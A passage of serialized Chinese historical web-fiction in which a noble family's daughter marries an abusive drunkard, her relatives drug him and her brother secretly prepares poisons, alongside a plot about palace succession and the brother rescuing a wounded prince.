门口拦人的除了封家人之外,还有一些亲眷好友,场面分外热闹。
四房的封砚成喊道:“既然是娶我家妹妹,自然是要做一首催妆诗来。”今时今日,他已经是举人了,在年轻一辈里头是很有出息的,也得众人尊敬。
徐三郎笑着开口道:“这有何难!鹊脑添香瑞霭融,琼箫声里锦屏空。妆成莫待菱花照,眉黛深浅自入时。”
“好!”徐三郎话音刚落,跟在他身后之人便齐声叫好。
而不远处的封砚初,在徐三郎开口之际,就闻见一股淡淡的酒气,分明是昨夜饮酒太过,导致现在都酒气未消。见此情形,脸上虽然还笑着,却淡了几分。
一番推推搡搡,徐三郎等人终于进了门。长姐封砚敏也是千呼万唤始出来。
厅堂之上,大娘子与封简宁坐于高堂之上,一对新人拜别。
封简宁接过徐三郎敬来的茶,浅呡一口,脸上浮着笑,“正所谓夫和而义,妻柔而顺;去了徐家,勿溢勿娇,永保安宁。”
大娘子亦饮了茶,她握着女儿的手,脸上微微颤抖,十分专注的看着女儿,双眼写满了慈爱,“往后你就是别人家的媳妇,对上要孝顺舅姑,对下要慈爱,夫妇间要互敬互爱,儒沫白首。”说罢,将早就准备好的出门礼递上,封砚敏行礼双手接过。
徐三郎行礼道:“请泰山,泰水放心,小婿必定与新妇有商有量,善待与她。”
封砚敏跪在地上拜别,“今日女儿拜别父亲,母亲;感谢父母养育之恩,惟愿父母高堂,平安喜乐,益寿延年。”从今以后,她便是徐家妇,母亲只此她一女,而她再也不能如往日一般,在母亲膝下承欢,只觉痛心,竟无半点欢喜。
正式出门,是大郎封砚开将人背出去的,因为对方是世子,而封砚初只是排行第二。
随着爆竹炸响,迎亲的队伍越来越远,直至看不见……
婚仪宴饮结束之后,其余人都纷纷走了,只有孙延年并未着急离开,两人正在封砚初的院子里。
见对方欲言又止的样子,他开口问道:“你这是怎么了?到底有什么想说的?”
孙延年最终长叹一声,“二郎,你我自幼相识,更是至交好友,只是有些话我不知该如何开口。”
封砚初又不是傻子,从今日来的宾客中已经瞧出一二,“是因为信国公府吗?”
孙延年拍着好友的肩膀,好似是提醒,又好似是安慰,“本来今日我父亲的意思是让管家备一份礼便可,但你终究我的好友,怎么能不来,这才求的我父亲同意。”
封砚初沉默良久,缓缓道:“多谢,信国公支持的是谁?”
“皇后嫡出的九皇子!”虽然信国公明面上未有偏向,实际上权力中心之人都有猜测,孙延年的父亲掌管京西武备营,是所有人拉拢的对象,孙家自然对京城的暗流涌动十分清楚,当然也很谨慎。
“可他今年才七岁!”封砚初简直不敢相信,如今陛下有好几个成年的皇子,本就局势复杂,可父亲为了侯府的延续竟然涉入其中!
大皇子早已成年,生母是陛下潜邸之人,当年为陛下登基出了大力,这才被封为贵妃,可也正因如此,虽然早早开府,陛下却一直未封王。
二皇子乃是先皇后所生,虽被立为太子,可自幼体弱终究没能熬住。
三皇子出身低微,其母不过是宫女出身,自知无望。
四皇子早夭。
五皇子的生母是贤妃,或许因为母家是文臣的缘故,自幼对琴棋书画十分精通,陛下曾言,若非生于皇室,吾儿可堪进士。
六皇子的生母早逝,自幼被抱养给贵妃,虽然今年才开府,但早已被外人认定与大皇子乃是一条船上之人。
七八皇子年幼,母家出身不高。
九皇子乃是继皇后所生,虽年幼,可占着嫡子的优势。
陛下自先太子崩逝一直未立储君,这也让很多人心生妄念。大皇子觉得自己居长;五皇子觉得先太子没了,大家都有机会;皇后却觉得陛下之所以未立储君,是因为九皇子还年幼的缘故。
“二郎,我言尽于此,以后这武安侯府,恐怕我不能常来了。”孙延年说到这里,故意放松语气,好缓解严肃的气氛,“不过,你放心,我会去隆安寺看你的。”
封砚初轻叹一声,声音里满是愁绪,“即使你想来,我也不会让你来了。”俗话说上船容易下船难,此刻他既恨自己的弱小,又担心父亲泥足深陷。
他想好好劝一劝父亲,可长姐已经嫁去了信国公府,在外人看来武安侯府已经上了徐家的船。
第八十章 不问只怕睡不着
‘咚咚咚!’
就在封简宁准备睡的时候,传来一阵敲门声,“谁啊?”
“是我。”封砚初终究还是没忍住,连夜就去找父亲。
“二郎啊,这么晚了,有什么事明日再说。”封简宁心中奇怪怎么这会儿来。
“还请父亲开门,儿子有话想问,若不问只怕今晚睡不着。”
封简宁见儿子坚持,嘴里虽然抱怨着,但已经起身开门,“有什么事不能明天说,非得现在!”
因为连日来的辛劳,封简宁今晚独居。封砚初也不想让旁人知道,这才趁着夜色找上门,“父亲,今日宴客,儿子发现来的宾客与往年大不相同,您可否为儿子解惑。”
烛光固然昏暗,可封简宁却清晰的看见,儿子盯着他的眼神十分坚定,仿佛不得到答案觉不罢休,话到嘴边他还是选择了含糊过去,“自从你祖父去世,咱们家就与很多人家断了往来,今日来的客人自然不同。”
“当真如此吗?”闪烁的烛火在封砚初眼中跳跃,这让他的眼神在坚定中带着控诉。
封简宁有些不敢看儿子,冷哼怒斥道:“怎么?如今竟然质问起为父了!”
“父亲!”封砚初的声音少了往日的清亮,多了些沉重。
“你想说什么?”
“自古以来夺嫡凶险万分,稍不留意便是粉身碎骨,父亲难道是想将武安侯府也置于险地吗?”封砚初几乎是用质问的语气在控诉。
‘啪!’声音在耳旁响起,他的脸瞬间有些火辣辣的疼。
“你懂什么?武安侯府眼见败落,若不兵行险招,在夺嫡之路上立下功劳,一旦将来侯府被收回,你以为咱们封家在京城还能有立足之地吗?”
封简宁气到不行,继续道:“朝局哪有你想的那般简单,若是无人扶持,你就是再有能力也是无用!难道你想将来一家人被赶回青州,永无出头之日吗?”
“你在侯府的庇护下享受安逸,可有出去看看外面的世道,你祖父才去世没多久,唐家还是姻亲呢,他们就先躲了。许多人见此也是纷纷远离,我若不想些办法,咱们家就是他们眼中的肥肉!”
听到此言,封砚初竟不知该不该怪父亲,他心情十分复杂,“父亲,陛下年迈,大皇子,五皇子年长,在朝中经营多年;九皇子虽占着嫡出,可太过年幼,如何是他们的对手。不用想也知道未来几年夺嫡之凶残,难道真的要去涉险吗?”
“二郎,你只知孙家,唐家独善其身,那是他们有独善其身的资本。孙知微手握京西武备营,拉拢都来不及呢,谁敢惹他!唐大人是大理寺卿,身居要职,只要把握好分寸,别人也不能拿他们怎样?可咱们家呢?若你祖父还在世尚可勉励支撑,得个直臣的印象。”
“可为父丁忧前不过是六品小官,若不依靠旁人庇护,只怕早就沦为别人的替死鬼。二郎,为父何尝不知明哲保身,只是我们身处低位,在那些人眼中不过是蝼蚁罢了,可蝼蚁尚且知生存。”
听了父亲的这番话,封砚初久久不语,官场斗争激烈,稍不留神便粉身碎骨。
“你长大了!为父很欣慰你仅从宾客身上就看出不同。”此时,封简宁的内心早已没有了原先的火气,他很欣慰次子的机敏,不能说对方明哲保身的方法不对,只能说并不适合现在的武安侯府。
他拍了拍儿子的肩膀道:“不早了,回去歇着吧。”
比起来时,封砚初已经变得十分平静,他拱手行礼,“儿子明白了,今夜惊扰父亲了。”
回去的路上,他抬头望向头顶的皓月,月光皎洁,笼罩着大地,此刻只觉得自己十分渺小,仿佛是个企图在岸上生存的鱼,水里固然污秽凶险,可离了水的鱼也终将干涸而死。上位者看不见渺小的鱼,水里之物却想将鱼吞下去,壮大自己,这种无力感再度席卷全身。
次日,众人难得的在老太太这里用早饭,封简宁环视一周,少了个人,“二郎呢?”
大娘子略微顿了顿,“今儿一早,李妈妈就来回话,说二郎天还没亮,就回了隆安寺。”她心里正奇怪呢,后日就是回门之日,二郎与女儿关系最好,按理来说不应该这么早离开。
其余人也是一脸好奇,封简宁却大概明白什么意思,看来昨夜的谈话起了作用,这是要回隆安寺读书了。
思及此处,他嘴角隐约浮现一抹笑,这是为二郎意识的觉醒而高兴,“回便回了,希望他明年不要辜负今时的苦读。”
因为封砚敏的出嫁,让老太太猛然间还有些不适应,原本她还想着今早好好吃顿饭,可二郎又这么早去了隆安寺,让她心里空落落的,不禁叹道:“唉,我还想着问一问二郎在隆安寺怎么样呢。”
原本就因出嫁少了一个人,如今封砚初亦不在。好好的一顿早饭,竟然有些冷清。
因为时间太早,封砚初几乎是刚到城门才开,一路急行,晨暾之际就已到达隆安寺。
江行舟眼见他这么早就回来了,朝元康道:“不是说他姐姐成婚吗?怎么今日就回来了?”
元康也很纳闷,“是啊,按理来说还有回门呢?”
谢鹤川听见两人的议论声,手里持着书就出来了,正好瞧见暮山端着早饭进去,“看来这是连早饭都没用就来了。”话音一转,“不过不管什么事,我瞧这侯府公子也不好当啊,各有各的苦哟。”
“我倒情愿受那苦。”江行舟摸着空空的肚子,吟道:“不用饥肠辘辘不堪闻,空腹声声欲断魂呐!”
随后朝其余两人行礼告辞,“时辰不早了,我要出摊去了。”说罢,背起随身木箱走了。
三人中,江行舟最穷,为了俭省开支每隔三两日便要去城外的一个集市上支摊,帮人代写书信,赚些银钱度日。
第八十一章 一个腌臜货
成婚当晚,徐三郎就醉醺醺的进来,眼见封砚敏的丫鬟竟还在,当下就觉得不识趣,到底碍于成婚当日,只是挥手将人赶出,“还不快滚,真是没眼色!”与白日里一比,简直判若两人。
碧玉用担忧的眼神看了看自家姑娘,但是徐三郎的话她不敢不听,只能忐忑的出去了。然后亲自打听了厨房的位置,准备去做一碗醒酒汤,以防万一。
封砚敏也很忧心,难道真让二郎说中了,此人爱耍酒疯,若如此她情愿对方是个醉殍。(醉殍:形容人醉得不省人事,有充满鄙夷的意思)
“封氏,你既嫁给我,就要守我的规矩!想必你也知道是为何嫁给我,还不是你父亲巴结着我祖父的权势,若非如此,你也不配!”徐三郎狠狠地捏着封砚敏的下颌,脸上泛着酒后的红晕,看向对方的眼神中,满是鄙夷与瞧不起。
然后又将对方的脸猛地朝后一推,随即松开右手,张开双臂,冷眼瞧去,“蠢物,愣在那里做什么?还不快过来服侍我更衣!”
封砚敏虽早有预料,但对方的行为还是突破了她心中的底线。此时此刻,只觉得眼前之人恶心无比,又不得不装出顺从的样子来,乖乖的替对方宽衣,然后为对方洗脚,宛如仆人一般。
没想到对方却嫌她慢了,抬手就要打下去。当她下意识的闭了双眼,空气几乎快要窒息之时,传来一阵‘咚咚咚’的敲门声。
原来是碧玉去而复返,“郎君,娘子,奴婢煮了些醒酒汤。”
“进来吧。”
碧玉进门见此情景只觉屈辱,她家姑娘何曾受过这样的委屈,不过面上未露分毫,行礼道:“这是娘子特意吩咐奴婢准备的醒酒汤,说郎君今日必定待客饮酒,喝些醒酒汤,明日会舒服一些。”
其实封砚敏原话是,“为了以防万一,待徐三郎回来后,你便去厨房煮些醒酒汤来!”
徐三郎见状仿佛赏赐一般道:“你倒也懂事,还不端来!”
碧玉亲自将汤端给对方,徐三郎一饮而尽,完了还点头道:“味道还不错!”紧接着主仆二人一人收碗,一人将洗脚水端走。
徐三郎喝完之后,不禁升起了一些许困顿之感,又看主仆二人忙进忙出,没人侍奉他,觉得俩人没将自己放在心上,正欲开口训斥,便觉得眼皮睁都睁不开了。
等封砚敏与碧玉假装忙完后,这才发现那人不知什么时候已经睡着了,且鼾声如雷。
封砚敏十分嫌弃那人,足足将手洗了四五遍;而碧玉则轻手轻脚的走过去戳了戳,徐三郎犹如死猪一般,一动不动,这才拍着胸脯松了口气,“娘子,果真睡着了!针戳不动的!”
“看来还真管用。”
碧玉仍旧是一副后怕的模样,“奴婢方才从窗户外头瞧见他要对您动手,赶紧出声,不过二郎君这药真管用。”
“是啊,若非二郎思虑周全,只怕我的日子更不好过。”说话间看向徐三郎的眼神满是厌恶,“一个腌臜货,与他多待一刻,我只觉得恶心,你将被褥铺在外间的榻上,今夜我去那里睡。”
“那他怎么办?”碧玉指着半身躺在床上,半身吊在外面的人问道。
封砚敏虽不想管,但也知道不可能,“咱俩将人抬到床上,免得明日起来看他未躺好,拿人出气。”两人‘哼哧哼哧’将人抬的躺好,又盖上被子。
碧玉喘着粗气道:“娘子,瞧三郎君那样,只怕以后的日子不安分,咱是不是找二郎君要些别的药,最好让他没有力气动手!”
封砚敏十分认可的点头:“回门那日我问一问,只是不能现在动手,免得旁人觉得我才嫁进来他就病了,必定议论是我克的,到时候牵连整个武安侯府。”
第二日,徐三郎醒后,感到神清气爽,觉得封氏的婢女还算有些用处,起码醒酒汤熬的不错。
酒醒后的徐三郎还有几分人样。虽说对封砚敏依旧冷淡,但起码没有像昨夜那般要动手打人,口出恶语。
今日新妇要向舅姑请安,所以两人早早便去了。
“儿媳封氏拜见父亲,拜见母亲。”封砚敏举止投足十分规矩,处处显示着大家闺秀的风范。
敬茶后,众人赠了礼,她也给大家带了自己的心意。
之后,信国公世子随意找了个借口离开。反观世子夫人却一副亲热的模样拉着封砚敏上下打量,瞧得十分仔细。
随后心中略微松了口气,“真是好模样,你既嫁进来,我自是将你当做亲生女儿一般对待,在咱家也用不着媳妇站规矩,只要你们小两口过好自己的日子比什么都强。”
徐二郎的娘子苏氏也笑吟吟的迎合着:“说的很是,试问天下间,哪里去找这般慈和的婆母去,所以弟妹不用拘谨,往后咱们妯娌多走动走动,有哪里不清楚的问我们就是。”
“多谢二嫂提点。”
而整个过程中,徐大郎夫妇那可谓是言简意赅,能不说话就绝不开口。
等众人散去,世子夫人这才松了一口气。她原先还担心新婚夜,儿子饮了酒手上没个轻重,夫君斥责,后日回门也不好看。没想到这个媳妇倒是娶着了,三郎饮酒后竟然一觉睡到天亮。
她可谓是担心了一夜,就害怕三郎动了手,这让夫君更加不喜,所幸他还算有分寸。
徐大郎夫妇二人回去的路上还在感慨,觉得太阳这是打西边出来了。
娘子刘氏颇为遗憾道:“看来我这个新弟妹倒是有手段,我还以为今日可以瞧一场好戏呢。”
徐大郎对三弟满是厌恶,但他是信国公府未来的继承人,自然要谦逊有礼,“且看以后,这个老三简直是浑人,也就是在外头装的人模狗样,谁嫁给他谁倒霉。”
刘氏至今都记得前弟妹那惨兮兮的样子,一开始大家都还劝着,拦着,到最后也就麻木了。幸亏信国公府有些权势,否则早就路人皆知了,“是啊,薛氏多好的一个人呐,他隔三差五的就拳打脚踢,但愿封氏能坚持的久一些。”
第八十二章 人面兽心的畜牲
封砚敏回门并未看见二弟,祖母一脸慈爱,父亲也是笑着的,只有母亲满是心疼。
当她可以和母亲单独说些体己话时,俗话说报喜不报忧,本不欲多说。
可大娘子如何看不出女儿眼底的郁气,再三逼问之下,碧玉才吐了实话,将成婚到现在发生的一切说了个干净。
女儿在徐家如此遭遇让她心痛不已,抱着女儿哭起来,“我的敏儿,那徐三郎在外头看着人模狗样的,内里竟是这样的禽兽!不行!你必须与他和离!”
封砚敏见母亲如此,强忍泪水,安抚道:“母亲,您也不用太过忧心,幸亏二郎在我出嫁前一晚找我,说对方好酒,为了以防万一给了我一些药,只要给那徐三郎偷偷下一粒,便一觉睡到天亮,他不喝酒倒还好些。”
“敏儿,可这毕竟不是长法,那徐三郎如此待你,这不是剜我的心吗!这可不是一两日,若不和离,你后半辈子就搭进去了!”大娘子心疼的摸着女儿的脸。
封砚敏轻轻摇头,母亲虽是嫡妻,可膝下无子,外祖家更是对自家不如从前,自己固然难,可母亲何尝容易:“母亲,自从我嫁进徐家那一刻,便注定如此,如今父亲当家,他不会同意的。母亲,我会自己小心的,也会自己想办法,现在外祖对咱家渐行渐远,女儿外嫁,您身边也没个依傍,只求您不要去挑衅父亲。”
“大不了我与他绝婚!我只有你一个,若你有个好歹,让我怎么活!”大娘子有些后悔,当时她自己也想着虽是利益联姻,但徐家瞧着不错。那徐三郎更是为原配守孝两年未娶,外人只说他情深义重,便想此人对原配尚且如此,女儿嫁进去也不会太难。
“母亲,既然二郎已经回了隆安寺,那今日我回去就不带钱妈妈了,您让她去一趟隆安寺,到时候二郎便明白了。”
封砚敏说完这话,大娘子露出忧心之色,害怕女儿做出什么糊涂事,正欲发问。
她态度果决:“母亲,您就别问了,钱妈妈也不会说的。”
而她也从这件事情中看清了自家人,大郎与父亲像了个十足十,俩人都是以侯府的利益为先;三郎四郎本就与她不亲近,也不顶事,二妹因为是庶出不受重视;祖母固然慈爱,可那也是建立在不妨碍家中子孙的前提下;整个家里除了母亲,竟然只有二郎对她有几分姐弟之情。
想到此处,她握着母亲的手,嘱咐道:“母亲,有时间多派人去看看二郎吧,他虽然无法承袭爵位,可到底与旁人不同。”
大娘子掌管侯府多年,如何看不清这一点,“我知道,我早就知道二郎对你有些姐弟之情,所以在我眼里即使是大郎,也比不上他。”
封砚敏听了这话才有些安心,看来母亲早就很关注二郎,这样即使她在徐家不能时常回来,也能放心些。
直至傍晚时分,封砚敏才与徐三郎离开了。
目送二人离去的大娘子,心情早已不复方才他们来时了,以前看着还行,如今越瞧此人越不顺眼,只是为了女儿的日子她还不得不装着。
徐三郎直到上了马车这才松了口气,从刚才唐大娘子的表情中,可以看出,应该还不知道自己那晚欲备对封氏动手的事。决定给她几分好脸色,于是脸上端着笑,“今日娘子辛苦了,晚间我去你那歇着。”
这样的笑落在旁人眼中或许觉得温文尔雅,可在封砚敏看来只觉得丑陋,竟还大言不惭的说出这番话,她巴不得对方永远别来,只是现在还不得不敷衍着,“好。”
徐三郎眼睛微眯,露出不悦之色,“我怎么瞧着娘子有些勉强?”
封砚敏听了这话如临大敌,立即轻叹一声,“没什么,只是有些不舍得父亲与母亲,况且我在家时与二弟关系最好,今日也未得见,难免有些失落罢了。”
徐三郎接受了此番说辞,脸上这才恢复了之前的表情,甚至还建议着,“这有什么,以后若是想回来便随时回来,只是需得问过我才行,回来以后,什么该说,什么不该说,需得明白。”
对方声音轻柔,可封砚敏听了只觉如附骨之疽,又仿佛是一条阴森森,湿答答的冷血之蛇爬在身上,让人胆寒、粘腻、恶心!
“我知道了。”封砚敏语气依旧如常,给人十分的乖巧听话。
徐三郎听到答案后,满意的笑了。
当天晚上,大娘子就将封简宁叫去。
封简宁虽然知道大娘子叫他必定是有正事,但因为明日还要忙公事,大可以她自己处理,语气中难免带了出来,“有什么事,你自己处理就行,不用给我说。”
话音刚落,就看见大娘子正垂泪,惊讶道:“这是怎么了?好端端的怎么哭了。”
“我还能为什么?自然是为了敏儿!”大娘子看向对方的眼神十分不善,颇有些凶狠的意思。
“敏儿能有什么事?我今日与徐三郎聊了一会,此人谈吐还算有些见识,举止有度,想必与敏儿能处好,再说了,你若是想女儿过些时日让人接回来,或者你上门去看都行。”
“什么举止有度,那就是一个人面兽心的畜牲!外头装相,只要灌下几碗黄汤,就不是个人了!回去就朝妻子动手!这就是你给敏儿找的好夫婿!我看这徐三郎的原配嫡妻没准就是被打死的,对外还说什么病逝,倒让他挣了个爱妻的好名声!”大娘子说话期间眼睛都快喷出火来了,要是这火能烧死人,那封简宁就已经成灰了。
“什么?他朝敏儿动手了!”封简宁也没想到看着仪表堂堂的,怎么突然就不是个人了。
大娘子继续哭诉道:“若非碧玉机敏,以送醒酒汤的借口打断,只怕当夜敏儿就挨打了!”
“我去找徐家算账去!”封简宁气的当场就要去信国公府说理,被大娘子拦住。
“你去说理有什么用,能让敏儿和离吗?他的原配嫡妻的出身比咱家还要高,可最后还不是一个结果!”
“又不让我去,那你说怎么办?”封简宁有些不理解妻子是什么意思。
大娘子略微顿了顿,找了个借口,“这人即是酒后逞凶,我便让孙大夫配些蒙汗药,让钱妈妈带回去,下在醒酒汤里,这样他就没力气了。”
“这?妥当吗?万一被发现怎么办?”封简宁对徐三郎的印象急转直下,此时已经开始犹豫。
大娘子为他下了一剂定心丸,“难道你真的要为了信国公府的势力,甘愿女儿送命不成?再说了,小心些应当没事。”
封简宁最终还是点头道:“你决定吧!”说罢,心情沉重的离开了。
一旁的半夏不解道:“娘子,既然二郎君已经在暗中帮了姑娘,您何必再告诉侯爷,还用了这个说辞?”
大娘子长叹一声,“敏儿虽然未说,可我瞧着不太好,今日告诉侯爷,也是免得将来徐三郎万一出事,他心中有底,便知如何行事。”
第八十三章 心里不禁有些后悔
清晨,天将蒙蒙亮,轻雾仿佛白色的蝉翼纱笼罩山林,连藏于林间的隆安寺都透露着几分神秘之色,空气中透着几分寒凉,封砚初手中的长枪划破了寂静,露水沾湿了几缕头发,更添冷意。
他一刻未停,直至天边的旭日东升,隆安寺的大殿上响起和尚们的念经声,这才回了屋。
江行舟前日十分幸运,足足挣了五钱银币,所以今日不用出摊,只需留在寺里读书。他张嘴打着哈欠,伸着懒腰出了房门,正好瞧见封砚初练完武回屋。
谢鹤川一边蘸着牙粉刷牙,一边朝才出门的江行舟点头。
“我怎么发现他自从回来之后愈发刻苦了?”江行舟用柳枝蘸上盐揩牙的同时,看向旁边之人问道。
谢鹤川涮了涮口,将废水吐出,“是啊,咱们与他相比都有些惭愧,就这每日天还未亮就起来练武,然后读上一整日的书,夜间再练一会武,回去歇着,一整天满满当当的。”
元康此时也出来了,听见两人的对话,将猜测说了出来,“封二郎明年就要乡试,许是因此这才觉得时间紧迫吧。”
谢鹤川点头道:“是啊,不过咱们后年也要会试,这一年比一年的竞争大,留给咱们的时间也不宽裕。”
江行舟长叹道:“我与你们不同,还要出摊维持生计,用来读书的时间更少。”说罢回屋读书去了,他与这两人不同,他们还有机会,自己如果下一科还未中,只怕这京中再也待不下去了,家里已经无力继续支持他科考。
封砚初的刻苦让这三人不禁心生紧迫之感,以前还会在一起闲聊,现在只恨用来读书的时间太少。
而封砚初进了屋子,冯四已经将早饭准备好了,灌满水的铜壶放在茶炉上,一切都收拾妥当了,只等他洗漱完之后就可以用饭。
“昨日,姐姐回门可有什么事发生?”封砚初一边用帕子擦脸一边问道。
冯四是从城内的‘枕松闲居’回来的,他也去打听了,“下人们之间倒是没传出什么话来,只是说一切如常。”
“嗯,我知道了,你先回去吧。”
上午,窗外蝉鸣声声,却丝毫影响不了他的投入,就在入神之际,门外突然传来暮山的禀报,说大姑娘身边的钱妈妈来了。
他正好临窗而坐,抬头看去,只见钱妈妈眉间带着郁色,在门外焦急地等待着,“进来吧。”
“二郎君。”钱妈妈刚进来还能忍得住,按规矩行礼。
他连忙抬手道:“钱妈妈别多礼了,你不是随姐姐去了徐家吗?可是发生了什么事?”
这话一问,钱妈妈再也就忍不住了,眼泪止不住的往下淌,“二郎君,姑娘实在苦啊,谁能想到那个徐三郎就是个畜牲,常常对姑娘言语不敬,甚至在新婚当夜就要动手打人,若非碧玉正好做了醒酒汤端进去,只怕那巴掌就落在姑娘的脸上了!”
钱妈妈的话在耳边响起,封砚初只觉怒火中烧,眼神犀利,神色也变得寒冷,只听‘咔嚓’一声,他竟然将手里的茶杯握碎了!
这也将钱妈妈吓了一跳,连忙上前检查,“二郎君!您的手没事吧!”看手并未受伤,这才松了一口气。
心里难免有些自责,“是奴婢不好,说的太急,若是因此伤了您的手,这可怎生了得。”
封砚初嘴角竟扯出一抹笑,只是说出来的话依旧没有任何情绪,“妈妈不必自责,我还要谢你呢,若非如此我怎能这么快就知道,那竟不是个人!”
“那二郎君您是什么打算,奴婢回去也好告诉姑娘。”钱妈妈依旧有些惴惴不安。
封砚初眼神幽深,说出的话让钱妈妈有些琢磨不透,“钱妈妈且去吧,回去告知姐姐,就说我知道了。”
这个答案并不是钱妈妈想要的,她还没弄清楚二郎君这话,到底是想管还是不想管,只是不敢多问,便带着一肚子的疑惑回去了。
“暮山!”
门外的暮山闻声进来,“郎君有何吩咐?”
“今日,我需赶在城门关闭之前进城,你陪我走一趟吧。”因为那个时间段人相对少一些。
“是,郎君。”暮山就是这个好处,从来不问,他得到答案之后便去了马棚喂马,毕竟马儿是要出力的。
终究是受了影响,自从钱妈妈离开后,封砚初再也无法像之前,全身心的投入书中。
天空中,太阳渐渐西斜,黄昏已至,他与暮山一起骑马离开了隆安寺。时间把握的刚刚好,天已擦黑,他几乎是在关城门的前一刻进来的。
在他经过宝庆街之时,临街的店铺都已关了门,当二人骑马行至梧桐巷,天彻底黑下来了。
空旷的巷子里,除了马蹄的‘嗒嗒’声,竟然还有一抹微弱的呻吟,若非封砚初耳力俱佳,还真可能忽视。
“那边有声音!”他趁着月色朝一处小道之内勉强看去。
“有人?”暮山面带疑惑。
封砚初原本不想管。但是转念一想,若真是人遇难,今日自己搭救也算积德。花无百日红,谁还没个难的时候,万一哪一日自己有难,也自是希望有人相救。
心怀此念,便与暮山一同上前查看,只是这不查看不知道,一查看才发现了不得,竟然是六皇子,心里不禁有些后悔。
有心离去,只是六皇子抓着他的衣角,勉强吐出几个字,“封二郎,救我!”
真是摊在身上了!既然被认出来了,也只得救人。如果自己离去,无论六皇子死在这儿,还是别人所救都不好!
若死了,朝廷必定查个底掉。自己今夜回京,以及广林巷的宅子如何瞒得住!而父亲已经搭上了信国公,自己是否真的见死不救已经不重要,落在上位眼里这便是党政,是武安侯府为了打击大皇子,这才让他伺机动的手,可谓是跳进黄河都洗不清!
若是没死在这,以六皇子的小心眼必定找他麻烦,没准还会带累武安侯府。
第八十四章 不用担心外泄
“将人带走!”
封砚初不知道的是,他将人救走没一会儿,就有一伙打手、护卫模样的人出现在此地。
为首之人趁着火把的光,蹲在地上仔细查看一番,“应当是被人救走了,血还未凝,说明时间没多久。”
手下凑上去问道:“头儿,要不咱们在附近挨家挨户搜一搜!”
为首之人气的踹了对方一脚,骂道:“蠢货,你还嫌闹的动静不够大吗?走!”这人并非不想搜,只是贼人虽潜入府中偷了东西,但问题是这东西也见不得光,手下之人并不知道轻重。
‘枕松闲居’
冯四每日就住在门房,听见一阵敲门声,警惕道:“谁?”
“是郎君和我,快点开门!”暮山的声音十分急促。
他连忙披上衣服去开门,可着实惊到了,只见暮山正扶着一个人,那人明显受了伤。而郎君则牵着两匹马,看清后立即帮忙。
“将人扶进客房,然后把我的医箱拿来。”
“是!”枕松闲居的门又重新关上了。
客房内,封砚初将六皇子背上的衣服剪开。对方背上中了一箭,箭头深入皮肉,幸运的是箭头没毒,也未伤及骨头。
他折断箭杆后,先用刀子小心翼翼的切开伤处,随后取出箭头的那一刻,迅速按压伤口。待血稍止,敷上提前备好的药,最后将伤口缝合包扎。完成这一切,封砚初满意的点点头。
六皇子原本以为他就要交待在那儿了,没想到意外遇见了封砚初,这才放心的晕过去。
他直至次日清晨才醒来,入眼的是一处陌生之地,身上的伤口依旧隐隐作痛,可比起昨晚已经好多了,可见包扎伤口之人十分细心。
‘咯吱’一声轻响,门被推开,一个少年端着汤药进来,“哟,醒了,那就将药喝了吧。”
封砚初并未说多余的话,他估摸着时间,觉得应该醒来了,便端着药进去。可巧看到六皇子趴在床上,睁着双眼,脸色虽然有些苍白,但比起昨晚已经好了许多。
六皇子见封二郎进来,正欲起身。对方并没有上前帮忙的意思,只开口道:“小心伤口崩开!”
背上果然一痛,疼得有些龇牙咧嘴,没好气道:“你还不过来帮忙。”
封砚初见对方一副自来熟的模样有些无语,不过还是上前将人扶的坐起来,另一只手递上药碗,“喝药。”
六皇子并未矫情,也未多疑一句,端起药‘咕嘟咕嘟’一饮而尽。他此刻才将这个房间的全貌尽收眼底,放下碗,问道:“这是哪里?总不能是武安侯府吧!”言语中尽是调侃。
“自然不是,这是我瞒着家里置的一处私宅。”
“此处如此安静,是广林巷吧,不过我背上的伤是谁处理的?”六皇子有些担心自己受伤的事情泄露。
封砚初轻叹一声,他不知自己做的对不对,但也清楚迟早瞒不住,“我帮你处理的伤,不用担心外泄。”
“你?你竟然会治伤,什么时候学的?没听说过啊!”六皇子实在惊讶接连发问。心中却想,不过几年没见,封二郎的变化怎么这么大,竟然还学了医术!
封砚初很有眼色的没问六皇子是怎么受的伤,这属于皇子的秘密,还是别打探的好,当然,他也没打算回答,而是嘱咐,“你先休息吧,这一两日是不能挪动的。”说罢,又将人重新扶的趴下。
对方并继续未追问,正所谓每个人都有秘密,可也恰恰因此,六皇子对他越发好奇。
封砚初端着空碗出了屋子,随后对冯四和暮山吩咐,“我要去药房制药,任何人不得打扰,房间里的那个人,就由暮山暂时照顾。”
如今的药房再也不是几年前的样子,药柜中放满药材,其中一些带有毒性的药材则是另外保存。
此次制药需得仔细思量。首先这毒必须是慢毒,不能与之前的药性起冲突,还得不留痕迹,否则以信国公府的实力,必定会请宫中的太医诊治,可别小瞧这些太医,万一真查出什么蛛丝马迹就遭了。
慢毒虽见效不快,但好处就是不会怀疑是身边之人动的手脚,只会以为徐三郎是生病导致。不过还是要做两手准备,一副是让对方一命归西的,一副是让他躺在床上起不得身,就看姐姐如何选择。
这一次,他足足在药房中待了两日,除了给六皇子换药,再也没出去过。
两日后,他不仅制好了自己所需之药,还顺带为六皇子制了些伤药。
“六殿下,这是您的伤药,每日坚持涂抹即可,毕竟受伤损了些气血,但想必六皇子府上不会缺补气血的药。”封砚初说话间,将伤药递过去。
“你这是要赶我走啊,不过还是要多谢你救我。”六皇子接过药盒,今日一早刚能下地,这人就赶他,时间掐的真准。
不过心中却暗暗感慨,这封二郎确实有两把刷子,此药效果然很好。思及此处,问道:“这药还有吗?多给我一些。”
就在封砚初准备找借口拒绝时,继续道:“放心,我会给钱的。”
有了这话,封砚初直接去药房将剩余的都包起来,毕竟有钱不赚那是傻子。
不过一小会儿,六皇子就看到封砚初拿着一个稍大些的盒子进来,“这是剩下的。”
对方虽未开口,但那意思很明显,他清了清嗓子,“我改日给你送来,不过一会儿,你要把我送到柳秸坊附近,毕竟我身上有伤。”
“好,我让下人送你。”
六皇子这是第一次出房间,也是他初次看到封二郎的这处宅院。面积并不大,不过十来间房子,虽不华丽,但布局中多了些朴素雅致的味道,颇有几分像居士的清修之所。
大致看了看,忍不住点头道:“你这地方倒是不错,改日我再谢你。”
终于将这大神送走了,封砚初心底顿时轻松许多,现在他要回一趟武安侯府。
第八十五章 是“举案齐眉”,还是李儒献酒
武安侯府。
门子上的人看见封砚初回来十分惊讶,连忙上来行礼。若是往日必定会点头表示,可今日却匆匆忙忙进府,底下人的人见状声气立马短了三分,看来二郎君今日心情不佳。
封砚初匆匆进府后,也让李妈妈等人惊了,“二郎,怎么今日回来了?可吃了饭,我这就让厨房赶紧做。”
他早上还未吃饭,想及此处点头同意了,“那就劳烦妈妈了。”
